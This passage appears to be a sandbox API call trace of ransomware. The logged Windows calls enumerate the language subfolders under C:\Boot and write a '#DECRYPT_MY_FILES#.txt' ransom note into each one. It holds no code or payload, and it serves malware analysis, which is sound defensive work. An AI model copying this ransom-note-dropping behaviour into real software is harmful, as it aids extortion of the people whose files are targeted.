cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.597] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.597] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.598] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0031.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8257f8 [0031.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.598] AreFileApisANSI () returned 1 [0031.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.598] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\cs-CZ\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.598] CreateFileW (lpFileName="C:\\\\Boot\\cs-CZ\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\cs-cz\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.599] GetFileType (hFile=0x108) returned 0x1 [0031.599] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.599] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x825f80 [0031.599] GetLastError () returned 0x0 [0031.600] FindFirstFileA (in: lpFileName="C:\\\\Boot\\cs-CZ\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x80dac8 [0031.601] FindNextFileA (in: hFindFile=0x80dac8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.601] FindNextFileA (in: hFindFile=0x80dac8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d142a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.601] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.601] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.601] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.601] FindNextFileA (in: hFindFile=0x80dac8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.601] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.601] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.601] FindNextFileA (in: hFindFile=0x80dac8, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.601] FindClose (in: hFindFile=0x80dac8 | out: hFindFile=0x80dac8) returned 1 [0031.601] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="da-DK", cAlternateFileName="")) returned 1 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8257f8 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.601] AreFileApisANSI () returned 1 [0031.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.601] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\da-DK\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.602] CreateFileW (lpFileName="C:\\\\Boot\\da-DK\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\da-dk\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.602] GetFileType (hFile=0x108) returned 0x1 [0031.602] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.602] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x825f80 [0031.602] GetLastError () returned 0x0 [0031.603] FindFirstFileA (in: lpFileName="C:\\\\Boot\\da-DK\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.603] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.604] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d142a0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d142a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d142a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.604] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.604] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.604] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.604] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.604] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.604] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.604] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.604] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.604] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="de-DE", cAlternateFileName="")) returned 1 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.604] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.605] AreFileApisANSI () returned 1 [0031.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.605] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\de-DE\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.605] CreateFileW (lpFileName="C:\\\\Boot\\de-DE\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\de-de\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.606] GetFileType (hFile=0x108) returned 0x1 [0031.606] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.606] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.606] GetLastError () returned 0x0 [0031.607] FindFirstFileA (in: lpFileName="C:\\\\Boot\\de-DE\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.607] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.607] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d3a400, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.607] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.607] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.607] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.607] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.607] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.607] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.607] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.608] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.608] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.608] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.608] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.608] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="el-GR", cAlternateFileName="")) returned 1 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.608] AreFileApisANSI () returned 1 [0031.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.608] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\el-GR\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.608] CreateFileW (lpFileName="C:\\\\Boot\\el-GR\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\el-gr\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.609] GetFileType (hFile=0x108) returned 0x1 [0031.609] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.609] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.609] GetLastError () returned 0x0 [0031.610] FindFirstFileA (in: lpFileName="C:\\\\Boot\\el-GR\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.610] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.610] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d3a400, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d3a400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d3a400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.610] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.610] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.610] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.610] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.610] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.610] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.610] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.610] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.610] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.610] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.610] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.610] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.611] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.611] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="en-US", cAlternateFileName="")) returned 1 [0031.611] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.611] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.611] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.611] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.611] AreFileApisANSI () returned 1 [0031.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: 